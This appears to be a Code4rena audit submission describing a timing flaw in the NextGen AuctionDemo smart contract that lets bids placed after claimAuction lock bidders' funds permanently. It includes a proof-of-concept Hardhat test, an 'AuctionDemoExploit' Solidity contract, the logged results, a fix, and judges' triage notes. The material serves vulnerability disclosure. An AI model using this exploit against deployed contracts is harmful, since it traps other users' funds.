All users who bid after claimAuction will have their funds stuck in the AuctionDemo contract forever

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L57-L61
https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L104-L120

Vulnerability details

Summary

There is no check in participateToAuction() to revert if claimAuction() has executed. Which opens a possiblity of users bidding after the auction completion.

Vulnerability Details

The check block.timestamp <= minter.getAuctionEndTime(_tokenid) in participateToAuction() allow users to call it at block.timestamp. Also, Similar check block.timestamp >= minter.getAuctionEndTime(_tokenid) allow user to call claimAuction(). A user can call both methods at block.timestamp == minter.getAuctionEndTime(_tokenid). If the winner has already claimed using claimAuction(), the other users will still be able to call participateToAuction() method at block.timestamp == minter.getAuctionEndTime(_tokenid). Which will lead to their funds getting stuck in the contract forever as cancelBid() and cancelAllBids() calls will revert.

function participateToAuction(uint256 _tokenid) public payable {
        require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
    require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

POC Test:

Add the below test case in nextGen.test.js

it("#mintAndAuction", async function () {
  await contracts.hhMinter.mintAndAuction(
    signers.addr1.address, // _recipients
    '{"tdh": "100"}', // _numberOfTokens
    1, // _varg0
    2, // _collectionID
    await time.latest() + 4, // _numberOfTokens
  )
  await contracts.hhCore.connect(signers.addr1).approve(contracts.hhAuctionDemo.getAddress(), 20000000001)
  const tokenId = 20000000001
  console.log("Auction Status: ", await contracts.hhMinter.getAuctionStatus(tokenId))
  await contracts.hhAuctionExploit.connect(signers.addr2).participateInAuction(20000000001, {value: "1000000000000000000"})
  let ethersBalance = (await ethers.provider.getBalance(contracts.hhAuctionDemo.getAddress())).toString()
  console.log("Eth balance of AuctionDemo contract:", ethers.formatEther(ethersBalance))
  await contracts.hhAuctionExploit.connect(signers.addr2).runExploit(20000000001, {value: "2000000000000000000"})
  console.log("Get Active Bids: ")
  console.log(await contracts.hhAuctionDemo.returnBids(20000000001))  
  ethersBalance = (await ethers.provider.getBalance(contracts.hhAuctionDemo.getAddress())).toString()
  console.log("Eth balance of AuctionDemo contract:", ethers.formatEther(ethersBalance))

  await expect(contracts.hhAuctionDemo.cancelBid(20000000001,1)).to.be.revertedWith("Auction ended")
  await expect(contracts.hhAuctionDemo.cancelAllBids(20000000001)).to.be.revertedWith("Auction ended")
})

Add Exploit contract

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "./AuctionDemo.sol";
import "./IERC721Receiver.sol";

contract AuctionDemoExploit is IERC721Receiver {

    auctionDemo public auctionDemoAdd;
    constructor(address _auctionDemo) {
        auctionDemoAdd = auctionDemo(_auctionDemo);
    }   

    function participateInAuction(uint _tokenid) public payable {
        auctionDemoAdd.participateToAuction{value: msg.value}(_tokenid);
    }

    function runExploit(uint256 _tokenid) public payable {
        auctionDemoAdd.claimAuction(_tokenid);
        auctionDemoAdd.participateToAuction{value: msg.value}(_tokenid);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }
}

Add this in fixturesDeployment.js file

  const hhAuctionDemo = await auctionDemo.deploy(
    await hhMinter.getAddress(),
    await hhCore.getAddress(),
    await hhAdmin.getAddress(),
  )

  const auctionExploit = await ethers.getContractFactory("AuctionDemoExploit")
  const hhAuctionExploit = await auctionExploit.deploy(
    await hhAuctionDemo.getAddress()
  )

Logs:

Auction Status:  true
Eth balance of AuctionDemo contract: 1.0
Get Active Bids: 
Result(2) [
  Result(3) [
    '0xa513E6E4b8f2a923D98304ec87F64353C4D5C853',
    1000000000000000000n,
    true
  ],
  Result(3) [
    '0xa513E6E4b8f2a923D98304ec87F64353C4D5C853',
    2000000000000000000n,
    true
  ]
]
Eth balance of AuctionDemo contract: 2.0

Impact

All the users who bid at block.timestamp == minter.getAuctionEndTime(_tokenid) and after claimAuction() execution will have their funds stuck in the AuctionDemo contract forever.

Recommendations

Update claimAuction() to execute on block.timestamp > minter.getAuctionEndTime(_tokenid) or add the below line in participateToAuction() method.

     function participateToAuction(uint256 _tokenid) public payable {
+
+        if(auctionClaim[_tokenid]) {
+            revert("Auction ended");
+        }
         require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
         auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true);
         auctionInfoData[_tokenid].push(newBid);
     }

Assessed type

Access Control

[c4-pre-sort]

141345 marked the issue as duplicate of #962

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1926

[c4-judge]

alex-ppg marked the issue as duplicate of #1926

[c4-judge]

alex-ppg marked the issue as satisfactory

[c4-judge]

alex-ppg changed the severity to 2 (Med Risk)